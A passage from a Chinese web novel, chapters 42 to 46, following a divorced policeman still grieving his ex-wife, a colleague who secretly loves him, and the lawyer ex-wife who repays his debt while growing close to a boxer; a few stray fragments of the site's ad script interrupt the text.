“上班的时候认识的。”关昊靠在椅子上,手里晃着半杯水。 “咱们经侦的案子吗?”小王也是第一次听,好奇问道。 “不是,是别的案子来所里。她拿的东西太多了,我看不过去,顺路送了她一程。” “关队您真绅士。”李莉说道。 “这就叫主动才有可能,要一直傻等着等到天荒缘分也来不了。”小王想起自己在健身房主动打招呼,才有了和后来女朋友的第一次聊天,有感而发。 赵诚若有所思地点点头。 “那后来呢?”小王兴致勃勃地问道。 “后来,”关昊眼神有点迷离:“我找机会和她见面,在一个下雪天,在一起了。” “真浪漫。”赵诚羡慕地说。 “那嫂子今天有空吗?也出来一起呗,人多热闹一下。”李莉说道。 要真是一对恩爱夫妻,她就死了这条心,以后只把他当做尊敬的师哥。 “她来不了了。”关昊盯着杯子,脸上是掩饰不住的落寞。 “为什么啊?”李莉的心跳得快了起来,她按捺住心绪,追问道。 “我离婚了。” 43. 第 43 章 三人楞在当场。 李莉觉得自己有点不道德,可听到这句话的那一刻,脑海里真的炸起了烟花。 小王最先反应过来:“可是您前段时间不是还陪您岳母去看病吗?怎么就走到这一步了呢?” “我也想知道。”关昊仿佛在回应,又仿佛在呓语。 烧烤店已经热闹了起来,可这和关昊一点关系也没有。 满身的寂寥像流水一样,静静地从他身上淌下。 赵诚看在眼里,忽然觉得没对象也挺好的,至少不会心碎。 “关队,您脖子是不是落枕了?”李莉突然不合时宜地问了一句。 “啊?哦,是。昨天晚上睡落枕了。”沉浸在感伤中的关昊被问得猝不及防,手捂着脖子回道,悲伤的情绪也冲淡了一些。 “我知道个偏方,很管用,我教您。”李莉说完还真的认真教了起来,指挥关昊单手放到脑后,另一侧手在腋窝下找到极泉穴按压;之后又手心贴背,手肘展开,摸到高处的脊梁骨后向活动受限的一侧转头。 一边说还一边自己演示。 关昊看李莉这么认真,也跟着动了起来。神奇的是,落枕真的好转了,脖子再动没有之前疼了。 关昊边转着脖子边说:“你这个偏方挺有用。” 小王和赵诚从一开始的不理解到后来暗中竖起大拇指,这是在转移关哥注意力啊。李莉,高人! “所以嘛,人生路上难免有点沟沟坎坎的,都会过去的。你看这不就好了?”李莉又说道。 关哥刚好一点,怎么又提起来了?小王有点担心,赶紧看关昊的反应。 赵诚则觉得对啊,就是这个理,也看向关昊寻找认同。 关昊知道小姑娘在安慰他,虽然没什么用,也不忍心拂了她的好意,装作释怀道:“说得对,都会过去。来,喝酒!” 一句话让其他三人都放松下来。小王看着关哥没再感伤,松快了一点。赵诚觉得老大就是老大,果然豁达。李莉则是真心实意地高兴。 四人开了啤酒,就着烤串,尽情喝起来。 饭后去了KTV。今天关昊没当麦霸,拿了瓶啤酒坐在沙发上安安静静地听歌。 赵诚想着元旦快到了,抓紧时间练一练。小王一边留意关昊的情绪,一边活跃气氛,又是点歌又是打call的,一个人就是气氛组。 李莉没有像往常一样活泼,点了几首安静的情歌,唱得很投入,也很好听。 关昊听着歌,不知怎么又想起了林茜。 林茜这个人,有时候挺功利主义的。她人很聪明,学东西快。有一年律所年会,她作为新人也要表演节目,唱歌是最省时省力的,就报了唱歌。 当年差不多也是这个时候,林茜每天忙得不得了,只去KTV练了一次,其余时间就是下班后在家跟着伴奏唱,再拿手机录下来和原唱对比。很快就练得很准确了。 可如果你听过她第一次唱歌,一定会夸她这是个不错的搞笑节目。 “你潜力可以啊。好好练练可以当麦霸。”关昊听着练习后的成品点评道。 林茜不在乎:“有一两首拿手的就行了,我又不靠这个吃饭。” 她那么忙,她的时间都要用在刀刃上。 李莉一首歌唱完,下意识看关昊的反应,却看到一个从没见过的表情。 是在回忆什么吗? 做事风风火火的关队,永远天不怕地不怕的关队,也会有这样黯然神伤的时刻吗? 李莉说不清心里什么滋味,有点酸涩,有点心疼,还有点,讨厌自己。 你有什么资格心疼关队呢? 李莉有一瞬间这么想。 但很快又否定了自己。有资格的,关队现在是单身,人人都有资格,自己当然也有。 我又不比别人差。李莉在心里给自己打气。 赵诚坐在点歌台前,把自己要唱的那首偷偷置顶了一下。李莉点的歌太多了,他的歌都跑到很后面去了。 小王今天也没什么兴致唱歌,除了在微信里时不时回应一下女朋友的聊天,剩下时间都在留意关昊。 看着看着就发现,李莉也在关注关哥。 有点不对劲啊。小王暗中思考,李莉对关哥也过分在意了,怎么每唱完一首都先看他? 再往前一想,这不是第一回不对劲了。上次关哥喝多了送他回去,本来不用李莉的。她主动提出帮忙,跟着去了,后来又单独留下。 她对关哥会不会太在意了? 可又一想,反正关哥也离婚了,要是李莉真对关哥有意思,也不是不行。 单位又不禁止恋爱。档案室的老李和户籍科的张姐就是一对,20多年了,俩人到现在感情还很好。 关哥现在正是脆弱的时候,有个真正关心他的人也好。 小王决定看破不说破。 今天没人喝多,时间到了,各回各家。 关昊一向大方,除了他其他人都没车,他提出送他们几个回去。 李莉先表态:“谢谢关队!” 小王眼珠子一转:“我跟赵诚顺路,跟您正好是对头,我俩打车回就行了。您送李莉吧,时间也不早了,女孩子一个人回去不好。” 李莉看了小王一眼,有点藏不住的感激。 “那行。你俩打车吧。咱们走。”关昊对着李莉说道。 李莉拉开车门,坐在副驾驶上,一颗心扑通扑通地跳。 今天之前,她还在为自己的心思而懊恼自责。一天之后,那隐秘的见不得光的梦竟然有了实现的可能。 临近结束时还在想着怎么能搭上关队的车,没想到王哥居然直接送了她一程。 不管是有心还是无意,李莉都很感激他。 真是时来运转,连老天都帮她。 “你家住哪啊?”关昊打开导航,问李莉。 “西——呃,”没想到第一个字出来,声音就劈叉了。李莉尴尬地清了清嗓子,又说道:“西四。您把我放地铁站就行了。” “没事,都送你了就送到家门口吧。”关昊不在意地说。 李莉暗暗心动,一直都觉得关队很man,没想到连细节处也这么man。报上了自己家的地址。 关昊知道这个小区,关了导航,就着地址和李莉聊到:“是个老小区了,地段不错。和父母一起住?”他记得李莉也是北京孩子。 “对。”李莉答道。 俩人都是土生土长的北京人,又是校友。李莉一路 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就找这两个方面的话题和关昊聊天,时不时请教一下办案的方法。 “主动才有可能,要一直傻等着等到天荒缘分也来不了。”吃饭时小王传授的经验也听进了李莉的耳朵里,只是没想到这么快就用上了。 一路上有人陪着聊天就不那么寂寞了,关昊也乐得跟她聊,一小时的车程很快过去。 到了地址后,李莉鼓了鼓勇气,从包里拿出一本相册。 在KTV的时候她偷偷在包里把相册的包装纸撕掉了,显得不那么正式。 “关队,这是校友日那天的合影,我洗出来做了个影集,留给你当纪念吧。”李莉有些紧张地说。 关昊接过来,影集不厚,8寸大小,封面是白底的,上面有个男性卡通人物,看着挺帅气,后面是一群人。 “行,谢了。”关昊收下礼物说道。 李莉紧张之余有点失落,关队没看出来。 影集的封面是她DIY后三D打印出来的,精心设计了好几天。上面的主要角色就是关昊,后面稍远一点有个短头发的女生,看不清五官,是她自己。再后面的一大群人是校友。 她以为关队至少能看出他自己的。 罢了,里面照片的摆放也花了一点心思。 当初做这本相册就是想着,就算没有任何希望,至少留下一点点痕迹,证明自己曾经在关昊的世界里出现过,也就够了。 现在已经超出预期很多了。李莉又打起精神来:“关队,您路上小心,我回去啦!” “成,去吧。”关昊摆摆手。 李莉下车后没走,目送着关昊的车离开,在车掉头时忽然又喊了声:“到家之后发个信息!” 关昊笑了笑:“小姑娘就是啰嗦。” 到了家,又是冷冰冰的房间,冷冰冰的床。 关昊笑不出来了。 什么人生难免会有沟沟坎坎,什么都会过去的。 都是骗人的。 根本就过不去。 他根本就不想和林茜过去。 关昊看了眼墙上的钟表,时针转到快10点。 以前不觉得10点很晚,林茜加班经常10多才回家,升了合伙人之后时间才早一点。 现在突然对时间没了概念。 同事都说时间不早了,到家报个平安。 小王这么说,李莉也这么说。 可自己怎么觉得10点这么早呢? 10点就开启的漫漫长夜,实在是太早了。 关昊忽然觉得冷。 他从小就不怕冷,大学时冬天只穿件T恤,外面随便套个外套就好。 怕冷的是林茜。 一到冬天,她睡觉时就会挨着他近一点,有时候脸贴在他肩膀上,像一只乖巧的猫。 想到林茜,又坐不住了。 关昊随手把那本影集丢在桌上,拿起车钥匙又开了门。 半小时后,关昊的车到了林茜楼下。 像昨天一样,车停在一个稍远的车位上,不太显眼,又能看到林茜的窗户。关昊坐在车里,点燃了一支烟。 也许是心诚则灵。 今天对林茜的思念太强烈了,手机震动,关昊拿起一看,竟然是林茜发来的信息。 44. 第 44 章 “这几天降温了,晚上冷吗?” 关昊看着这条信息,简直不敢相信。 是不是老天眷顾他,让林茜回心转意了? “冷。”关昊立马回了一条。 又嫌不够,追加一条:“特别冷。” “冷就记得把取暖费交了。今天物业给我打电话,后天开始供暖,再不交就要单独停这一户的暖气了。” 关昊看着回信,有点傻眼。 是……这样吗? 其实物业上午就给林茜打电话了,林茜当时正在忙,一转眼就忘了。 直到刚才,写完一篇辩护词,林茜走到窗边休息,被一辆车吸引。 一只胳膊从车窗里伸出来,手上夹着一根烟,一个红色的小点在暗夜里格外明显。 这么冷的天还在外面抽烟,瘾够大的。 林茜在心里吐槽。 又看了一眼,忽然觉得有点眼熟。 这辆车怎么那么像关昊的呢? 关昊来这干嘛?肯定不是他。 林茜去客厅倒了杯水给自己。 可心里一旦有了猜测,很难不去验证它。 林茜想起白天物业的电话。 去储物间拿出为看演唱会买的望远镜,又回到卧室,熄了灯,重新站到窗前,发出了第一条消息。 果然,车内又出现一个光源,来自手机屏幕。 接着关昊的信息就回过来了。 林茜在镜头里仔细瞧了瞧,是他。 确定之后就放下了。真有事关昊会打电话的,这样深夜来到她的楼下,估计是情绪作祟。林茜不去管他。 转述了物业的通知,又收到关昊回信:“哦。那怎么交费呢?” 林茜噼里啪啦打着字:“去一号楼地下一层,找到物业办公室,说交取暖费就可以。” 林茜做事周全,又加了一条:“物业6点下班,你要是来不及,可以先打电话沟通一下,让她们等一会。”最后附上了物业的座机号码。 关昊盯着两条回信。妥帖,太妥帖了,妥帖到自己想继续求助都不知道怎么开口。 最后只能硬着头皮继续聊:“谢谢啊。对了,你最近好吗?” 收到四个字:“没事,挺好。” 这个天聊死了。 关昊扼腕,怎么以前就没学学怎么和女孩聊天呢? 又在车里坐了十几分钟,听了几首歌缓缓,带着遗憾回到了自己家。 林茜捧着一杯红茶,小口喝着,目送关昊的车离开后,去客厅的零食柜里找夜宵吃。 写东西太消耗能量了,林茜晚上写文书的时候,不必遵守“不吃夜宵”铁则。 客厅已经换上了黑胡桃色的零食柜,和余琛之前发她的样图一样,上周末刚刚买回来。 余琛陪她去看的,在北五环的一家家居店,老板是香港人,也是余琛的朋友。 店长亲自出来接待,嘴十分甜:“林小姐样子漂亮,品位也好。这组边柜真的很衬你。” 价钱也很可观,一组要大几千块,但林茜实在喜欢,就留下了。正打算付款,余琛拦住她:“我已经买下了。” 见林茜疑惑,余琛解释:“是送给你当迁居礼物的,晚了点,希望你不要介意。” 店长也跟着帮腔:“确实付过款了,是暂时放在店里,等林小姐看过之后再送货的。” “那万一我看过实物不喜欢怎么办,你岂不白白付钱?”林茜有点意外。 “你不喜欢的话,我就放到自己家里,我也喜欢这组柜子。” 林茜回忆余琛家里的布置,好像不太搭吧……犹疑着问道:“如果我不要,你打算放哪里呢?” “放在新家里,我在看房子。”余琛说。 林茜想起余琛说过,以后要定居北京,看来是真的,心里就有了一点莫名的开心,高兴得说:“那你搬了家,我也要送你家具。” 余琛宠溺地笑笑:“好。” 边柜当天就送到了林茜家里。余琛像变魔术一样,又拿出一套餐盒。打开之后,里面是各色零食。 “外面的东西总归吃着不放心。这是我自己做的,已经真空包装好,可以放半个月。没做太多,想吃了我再做新鲜的给你。” 林茜假装翻了翻他衬衫上的口袋:“你该不会是哆啦A梦吧?怎么什么都有?” 又抬起头看着余琛笑道:“还有什么好东西,快拿出来,我可贪心的很!” 笑容突然凝住,林茜低下头,耳朵有一点发烧。 余琛握住了她的手。 按在自己胸口上:“都可以给你。只要你想要。” 明明是那么温和的声音,却像带着蛊惑。 隔着一层衬衫,林茜感受到他温热而有力的心跳,脸慢慢红了。 余琛一点点靠近。林茜站在那里,心跳越来越快,不知道该不该逃跑。或者,她也在等待着这一刻。 林茜的头更低了一点,闭上眼睛。 想象之中的吻却没有落下来。 而是整个人被拥入一个怀抱。 脸贴在余琛的衬衫上,和她的手一起,感受着他的心跳。 没有想象中的紧张和忐忑,心也跟着更安定了一点。 林茜的嘴角弯起,感受着余琛的气息。 余琛轻轻吻着林茜的长发,心里感到满足。 不是不想更进一步的,可是怕吓到她。 他知道林茜喜欢自己做选择,任何勉强和逼迫都会让她反感。 就这样在她身边,填充自己的东西,染上自己的气味,让她习惯他的存在,已经很好很好。 他等了十年,他有足够的耐心。 这样温情脉脉的时刻,被一个电话打断。 余琛有些无奈地松开手。 “喂,何婧。”林茜接起电话。 “周三可以。好,再见。” 林茜放下电话对余琛解释:“下周四,成都的案子要开庭了。我周三就和助理飞过去。” “哦。”余琛只回了一个字。 林茜才发现他的一只手还圈在自己腰上,眼神抗议。 没想到余琛不仅没放下,另一只手也伸了上来,按着她的头又把她按回自己怀里。 林茜的耳朵贴在他胸腔上,听到余琛闷闷的声音:“早点回来,我等你。” 余琛后悔了。每一次和林茜的近距离接触,都像最厉害的成瘾物质,让人一次次沉沦。 刚刚才抱过林茜,还留恋着她的体温,现在就知道下周有几天要见不到她了,已经开始想念。 林茜想抬头看看他,可那只大手还在自己头上,像护着什么心爱的东西。 行吧,林茜也伸出手抱住了余琛。他身上有种阳光晒过之后的味道,蛮好闻的。 成都的案子很顺利,林茜周五回来,和余琛吃了晚饭。今天一早又去拳馆找安娜上课,下午回律所加班。 临近年底,同事都很忙,今天来加班的人明显比平常多,环境就有点嘈杂。 林茜又提着电脑回到家里继续写,没想到夜里竟然看到关昊的身影。 打开红色的饼干盒子,林茜撕开一袋慢慢吃着。其实关昊态度转变的原因,她后来也猜到了。 关昊对身边人,向来是有什么都写在脸上。 他原本是不同意离婚的,后来突然要离,还隐隐有股怒气,大约还是和余琛有关。 回忆那前后几天的事情,关昊跟自己回家吃了一碗面离开了,那时还正常。 后来和自己回了趟父母家,看起来也是正常的,可返程的时候已经有了怒意。 再到余琛回来那天电话里说要离婚,不像是突然的决定,倒像什么猜疑被证实之后的结果。 猜疑什么呢?无非是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 猜自己和余琛有什么。 这么一想就全通了。 家里唯一能引起关昊怀疑的大概只有那双拖鞋,后来回到父母家关昊确定了那不是给爸爸准备的鞋,心里埋下怀疑的种子。 再到今天看见关昊的车在楼下。林茜更确定,关昊时不时就会过来一趟。 或许那天他看到自己和余琛一起回来,误以为自己的猜测成真了。 以前是质问,后来是猜疑。关昊和她,总是不能好好沟通。 林茜叹了口气,也没了胃口。 算了,都过去了。 第二天,林茜没什么事,回了趟父母家。 算算有一个多月没回去了,父母应该也很惦记。 林茜提前给林爸打了电话。 其实以前她更喜欢给妈妈打电话,聊些家长里短,每天的吃食。可上次妈妈那些话还是让她心里有些介意,下意识就疏远了一点。 父母照旧准备了一桌菜,很丰盛。三个人聊些工作上的话题,林茜说了说最近办的案子,都跑了什么地方。林爸叮嘱她注意身体,林妈让她少吃外卖。 吃到最后,林妈有些意兴阑珊,先去休息了。 过了半小时,林妈又从主卧里出来,已经穿戴好。 “妈,要出门吗?”林茜问道。 “嗯,出去一趟。”林妈走到玄关处,换好鞋,走了。 “我妈干什么去了?”林茜问爸爸。 “做艾灸去了。最近天天去,说是充了钱,不去白不去。”林爸看着手机答道。 “冲了多少钱啊?” “5000多吧。说单做200一次,充完可以做100次。也不知道有用没用。” 5000多在县城不算便宜了。林茜觉得有点不对劲,问道:“除了充值,还推销了什么别的东西吗?” “有,就是那个熏蒸的艾灸椅,好几万块钱一把。有一回你妈动心了,说想买,被我训了一顿。这么大年纪了不知道轻重呢。后来不买了,说充值划算。也不是太多,让她充吧。” 林爸说得很克制,他和林妈是传统父母,习惯在子女面前保留一点威严。这种看起来就不靠谱的事情,不习惯和孩子说。 可林茜听明白了,估计又是针对老年人的营销,用处不大,哐哐花钱。 说他诈骗吧,他又有实物,也不是造假。可宣传和实际功效千差万别,更高出市场价许多。很多老年人吃了这个哑巴亏。 等妈回来,得跟她说说。 林爸瞥见女儿的神色,知道她在担心老伴,安慰道:“你也不用担心,你妈好几十岁的人了,心里有数。” 见林茜没说话,又说:“可能也是这个病闹得。年轻的时候都拼,上了岁数身体多多少少都有点毛病。有什么养生的法子都想试试。说起来,再过一个月你妈又该去复查了。我听说上回那个专家不好约?” 这倒是提醒了林茜。第一次是关昊找朋友挂的号,后来复诊都是直接在医生那把下一周的号挂好。这次隔得太久了,医生说自己在线上挂就行。 “没事,我定好时间提前在线挂。”林茜说。 “我跟你妈也看过,一放号就秒没。实在不行,要不还找关昊帮个忙?”林爸试探着问道。 这话一半为老伴,一半也为女儿。 这段时间老两口没少合计,关昊那孩子实在不错,警校出来的,人品有保证,这么多年对林茜也没二心,业务还挺厉害。上哪再找一个这么好的人呢? 现在科技也发达了,不孕不育也不是绝症,总有办法的。 要是能撮合一下,两个人复合,是最好的。 就是林茜这孩子,软硬不吃,只认自己的理儿,也不知道随了谁。 所以林爸这么拐弯抹角地问出来,看看女儿的反应。 林茜脸上看不出什么表情,只说:“行,我知道了。” 45. 第 45 章 明天又是星期一,李莉心情莫名的好,敷着面膜打开音箱检索歌曲。 在KTV见着关队两次了,虽然第二次是自己组织的,但关队应该也挺爱唱歌的吧?又多了一个共同兴趣,真好。 李莉几乎有点雀跃了。 无意识点开手机,看了眼聊天框,和关昊的对话还停留在昨天下午,约他去密室逃脱。 昨晚不是说到家后发个消息的吗? 怎么也没回呢…… 李莉心里又忐忑起来。关昊一个大男人,还是警察,出事的可能性当然是极低的。 那么就是,他没把自己的话放在心上。 想到这,李莉有点泄气。 暗恋就是这样,一时兴奋一时低落,心绪起起伏伏的,全都是因为那一个人。 关了音箱,李莉点开一个闺蜜小群,打算集思广益。 “姐妹们,有个瓜啊!”这一声炸出了群里其余仨人。 群里瞬间出现一溜表情包,有坐在小板凳上乖巧等待的宝子,有一群叼着饭盆等饭的狗狗,还有一只耳朵巨大的杰瑞。 “我有个暗恋的人……”李莉又发了一条。 “我去,谁啊?”王璐率先在群里发问。 “就是一个前辈。”李莉不想说的太清楚。 “大叔?”孙佳佳接着问道。 没等李莉回,周晗禹说了:“你这口味变了啊,你不以前一直喜欢关昊那款的吗?原来的男朋友都是照着他找的。” 李莉一进学校就听了关昊的传说,很是仰慕。大一下学期的时候关昊回母校参加校友日,李莉就是那天接待的志愿者之一。 近距离见过真人之后,所有的想象都有了实感。 关昊比她想象中更帅,更有警察气质,再也忘不了。 室友都知道,关昊是李莉的理想型。 李莉大学时也谈过一个男朋友,就是她们班的班长,高大端正,可似你终非你,那股精气神,是模仿不来的。 谈了几个月就散了。 后来李莉剪了短发,说不想找男朋友。别人还以为她受了情伤,只有几个室友知道其实她心里藏了人,接受不了别人了。 “到底谁啊?能把关大哥挤掉,实在好奇!”群里又热闹起来。 “哎呀别问是谁了,可能我就是习惯暗恋吧。现在不知道怎么办了。”李莉又发一条。 一句话转移了大家的注意力。 “什么情况?” “他怎么你了?” “他不会有女朋友吧?” 群里七嘴八舌问起来。 李莉挑着回复:“工作认识的一个前辈,人挺好,没女朋友。就是吧,老把我当小姑娘,没把我当女人看。”发出来还有点不好意思。 “那还是大叔啊,年纪差多少啊?是不是喜欢御姐那挂的?”孙佳佳问道。 “就差五六岁,就是人比较成熟。”李莉把年龄差说小了一点,其实差8岁。 “三岁就有代沟了。”王璐回了一条。 李莉不爱看,没回。 “那他喜欢什么类型的啊?平常有什么爱好?”孙佳佳又问了。 “我也不知道他喜欢什么类型。”李莉发出去,加了个笑哭的表情,接着又发了一条:“好像喜欢唱歌。” “那挺好啊,你唱歌那么厉害,多约他去唱吧,迷死他!哈哈哈哈哈。”孙佳佳在群里兴奋道。 “实在不行你就打直球吧,女追男没那么费劲。没准他也早对你有意思了呢?”周晗禹分享自己的经验。 孙佳佳不同意:“我觉得还是得先搞清楚他的理想型。你看啊,莉莉长得萌萌的,人也小只,说话脆生招人喜欢。他要是喜欢萝莉,那直球成功率就高。要喜欢御姐就不好说了。” 好像也有道理…… 李莉问道:“怎么知道他的理想型呢?” 周晗禹:“直接问啊。” 李莉撇了撇嘴,这个狗头军师不行。 王璐:“问他喜欢哪个女明星?” 这个倒是可以考虑。 孙佳佳:“他前任什么类型啊?” 李莉回忆着林茜那次去局里找关队,慢慢打着字:“个子很高,1米7以上,人挺干练的,有点冷。” 孙佳佳:“完了,人家喜欢高冷御姐挂的。” 周晗禹:“那不还是分了?没事啊,你该追追你的。” 周晗禹的话又动听起来。 孙佳佳:“当个参考嘛。他要是喜欢高冷的,你就不能太舔狗。” 李莉心里紧张起来,回忆着这段时间的表现,没有太主动吧? 王璐又问了:“他们为什么分的啊?” “不清楚。”李莉回道。想起前段时间的办案经过和林茜接余琛时那句亲昵的“阿琛”,又加了一条:“好像前任和异性朋友关系比较近?” 李莉觉得背后说别人不太好,用词很谨慎。 群里又激动起来。 “听起来是个不缺人追的姐啊。他不会还惦记前任呢吧?” “男的吃醋分手?有点小家子气。” “可能只是对他冷,对别人不冷。” “这下尺度不好拿捏了。你要是太冷了吧,他本来就被御姐伤了,肯定不想再伤一回。可你太上赶着他又不喜欢。” “男人真是麻烦。” “要我说还是直球,不行就拜拜,下一个更乖。” …… 七嘴八舌发了一长串,没什么有效建议。 还是得靠自己。 李莉撕下干掉的面膜,从钱包的夹层里小心翼翼地抻出一张照片。 关昊刚做完一组俯卧撑,正要去洗澡,听到手机提示音。 自从昨晚从林茜那回来后,他一晚上听到了七八次信息提示音,每次都一个警醒爬起来看,次次都是幻觉。 可这次还是忍不住过去看。 还真有信息。 关昊的嘴刚要咧开,一看是李莉发来的,又合上了。 大周末的有什么事? 关昊点开一看,是张照片。 接着李莉又发来一条:“关哥,今天和我妈收拾家里,发现一张旧照片,怎么看着那么像你啊?” 李莉悄悄改了称呼,不知道关队发现没有。 关昊放大照片看了看,还真是他。这什么时候的照片?自己怎么不记得? 回道:“是我。这哪儿来的?” 李莉:“收拾大学的东西时候掉出来的,是不是你什么时候回学校照的呀?” 关昊一点印象也没有。 照片里的他没看镜头,但拍照的人离他不远,周围还有很多人。看背景,有点像学校? 关昊回了句:“可能吧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 这么点事还值当地发条信息,明天上班见着了说一声不就得了吗? 关昊丢下手机,去洗澡了。 洗完澡出来,又一条信息。 又有什么事?关昊以为还是李莉发来的。 一点开居然是林茜。 关昊的眼睛都睁大了。 “债权转让通知:关昊,你于2023年9月4日欠闫坤、李强和冯天赐的人民币8万元,我已经替你还上了。现在债权转移到我名下,请于2024年9月4日之前把欠款打到我尾号5688的卡里即可,不需要利息。” 落款林茜,还附上了今天的日期。 这都哪儿跟哪儿啊? 关昊马上给林茜打了过去。 “喂,关昊。”林茜的声音在那头响起。 “这怎么回事啊?你替我还钱了?”关昊着急地问。 “对。你欠的钱大部分是冯天赐的,他最近要结婚买房,手头比较紧。问到我这,看你能不能提前还。我刚好有就先还了,这个忙也不白帮。” 林茜特意停顿一下,关昊屏住呼吸,听林茜接着说道:“再过一个月妈要去复查,专家号我看过了,很紧俏。能不能请你帮忙再挂一次?” “好,没问题,但是,不用你替我还钱。”关昊有点语无伦次。 能帮到林茜他求之不得,但不是反过来让林茜帮他还钱。 林茜语速放慢了一点,用堪称温柔的语气说出了冰冷专业的话语:“债权转让是不需要债务人同意的,通知即可。既然你已经知道,那么从即刻起,它对你生效。” 关昊噎住了。 “你挂上号之后,可以随时通知我。”说完林茜挂断了电话。 其实怎么沟通,林茜也费了一点脑筋。关昊大男子主义,不喜欢在人前示弱,尤其在女人面前。替他还钱,可能不仅不会让他高兴,还会伤到他的自尊。 安慰他会起反作用。就这样例行公事,挺好。 帮他还钱,完全是意外。 下午等妈妈回家,劝了她几句,看样子也没有听进去。话不投机,林茜没吃晚饭,直接回了北京。 还在路上就接到了冯天赐的电话,说快结婚了,处处都要用钱,关昊欠他们哥几个的钱能不能早一点还。 林茜不知道关昊借钱的事,听对方一说意识到是亮亮交学费那段时间的事。 又想这是他的私事,让他自己处理比较好。就回复已经离婚了,这件事还是问他本人吧。 没想到电话那头传来嘲讽的声音:“嫂子,您好歹也是个大律师,不想还钱也不用找这么个借口吧?” 林茜也心烦起来,问清楚才8万块钱,当即让他们带着借条到了律所,看了几个月前的转账记录,确认无误。 四个人签好债权转让协议,林茜当面把欠款连本带息转给了三人,标明转账用途。又收回借条放进了碎纸机。 仨人没想到这么痛快拿到钱,心里都挺高兴,再一看林茜拒人于千里之外的脸色,又有点尴尬。冯天赐试探着问:“那个,嫂子,真离啦?” “我还有事,三位请便吧。”林茜关门送客。 这些枝节没对关昊讲,不然以他的暴脾气,搞不好要找他们吵上一架。 可关昊放下电话后心里还是不是滋味,又拿起手机。 他要跟冯天赐问个明白。 46. 第 46 章 “喂,关哥。”电话响了很久才接通。 “不是说了到年底发了年终奖就能还钱吗?你怎么把电话打林茜那去了?”关昊语气不善。 “呦,关哥,心情不好啊,”冯天赐人逢喜事,也不计较:“我这不是着急用钱吗?知道你那手头紧,舍不得催你。再说了,谁不知道嫂子是大律师,日进斗金啊,都是两口子,你还她还不都一样吗?” 其实关昊和林茜没离婚的时候就AA,冯天赐是知道的,不过为了要钱装作不知道。 “你少跟我装蒜!我跟她各算各的你不是知道吗?要钱怎么能要到她那去?” 冯天赐敷衍了两句,也不耐烦起来:“你他爹的少跟我矫情!当初你急用钱老子借给你了,现在老子急用钱催一声怎么啦?再说你还有个好媳妇儿,离了婚还愿意替你还钱,你小子命好,借钱还钱都有人替你兜着,偷着乐吧你!” 关昊听到“离了婚”几个字瞬间炸毛:“谁告诉你我离婚了?” 冯天赐光顾着嘴上痛快一不留神说漏了,索性都秃噜了出来:“不就是今天打电话嘛,嫂子说她离婚了,让我们来问你。我哪知道你离了,就说了句不还钱也不用这么个借口,然后她就替你还了……” 冯天赐说着说着自己也有点心虚,声音小下来。 “行,你小子有种。”关昊红着眼咬着牙挂了电话。 “我当然有种了,我还想三年抱俩呢。”冯天赐对着电话嘟囔。 “宝宝,怎么回事呀?”冯天赐的女朋友在一旁问道。 “没事哈宝,就是一哥们儿,离婚了心情不好,跟我这大小声呢!咱不跟他一般见识。走,咱们买衣服去~”冯天赐搂着女朋友,接着逛街去了。 关昊在客厅里来回转圈。 他不想欠人情。 尤其不想欠林茜的人情。 可现在一时半会还凑不齐钱还林茜。 后背好像有一团火在熊熊燃烧,烧得他坐立难安。 想再给林茜打过去,又不知道该说些什么。 第一次觉得林茜做事太周到也不是好事。 哪怕她冷漠一点,就不管了呢。 自己现在也好受一点。 关昊逼着自己冷静下来,仔细回想林茜刚刚的反应。 很平静,没有厌烦或瞧不起他。 这让他心里稍稍踏实了一点。 又想起林茜说专家号不好挂,让他帮忙。话里的意思仿佛帮他还钱是作为挂号的交换条件,平等互利的事。其实关昊知道林茜是照顾他面子,在给他台阶下。 背上的焦灼感没那么强了,可心里又酸涩起来。 林茜做事永远这么体贴,帮了他还在考虑他的感受。 关昊此刻终于承认,他后悔了。 离婚太冲动。 哪怕林茜有了别人,他还是离不开她。 以前天不怕地不怕,人是自由的,心也是自由的。有任务就往前冲,随时准备为理想牺牲一切。 后来有了林茜,有了牵绊。虽然还是会冲在最前面,但也会在事后庆幸自己逃过一劫。自己流血没关系,可他怕林茜流泪。 以前觉得女人哭太麻烦,总是不知道怎么安慰。直到真的见过一次林茜流泪,才后知后觉,他是会心疼。 到现在失去林茜,关昊明白了身后空空荡荡是什么感觉。 再也不会有人等他回来了。 那氤氲着温柔气息的家,已经变得冰冷寂静。 林茜不在,外面的风风雨雨破窗而入,一直刮到他心里。 这世上独属于他的安宁角落,没有了。 没有家了。 从此只有他一个人。 孤魂野鬼。 关昊坐在沙发上,佝偻起上半身,抱着自己的头,隐忍地啜泣。 一个不好看也不体面的姿势,可他无暇顾及,他看见自己的败局。 北京已是深秋,风中带着凛冽的气息,一阵冷过一阵。 可余琛却像在过春天。 长达十余年的严冬过去,他终于迎来了自己的春天。 上次抱着茜茜,她没有拒绝。 余琛感觉时候差不多了,表白应该不会被拒绝吧? 可惜茜茜总是太忙,周五回来匆匆吃了一顿晚饭。 周六上午去找安娜打拳,余琛有心代替安娜,却被林茜婉拒了。不过林茜换上了他送的拳套,开心。 之后林茜加班,回家看望父母。 今天是周一,还没有林茜的消息。 余琛再一次深感欲望真是无底洞。好想日日守在她身边,24小时都能看见她。 又怕太急了会惹她厌烦。 再等等,要给她一场完美的表白。 余琛心里盘算着,已经换了拳击裤,站上擂台。 昔日拳王肯上台切磋,大家都跃跃欲试。 余琛挑了几个练过几年的学员,又点了几名教练,陪他一一交手。 余琛开始为半个月后的表演赛做准备了。表演赛嘛,点到为止即可,最要紧的是好看。 这几个人都不够他打。余琛气息平稳地下台,何广生又窜了过来。 “哇,老大拳风有变化啊,招式也变丰富了。”何广生奉承道。 “嗯,表演赛可以花哨。你打职业赛的话还是要踏实一点。”余琛说道。 余琛早年是有名的重炮手,擅长近距离作战,出拳威力惊人。他的比赛最能刺激人肾上腺素飙升。 这几年在慢慢向控制游走型拳手转变,余琛身高1米88,身高和臂展相对于大部分选手来说都有优势。尤其近年来技术越来越纯熟,可以通过精准的刺拳控制距离,寻找进攻机会,越来越少近距离交战了。 这种打法很考验技术和经验,好处是可以节省体力,增加了KO的几率,也降低了受伤的风险。 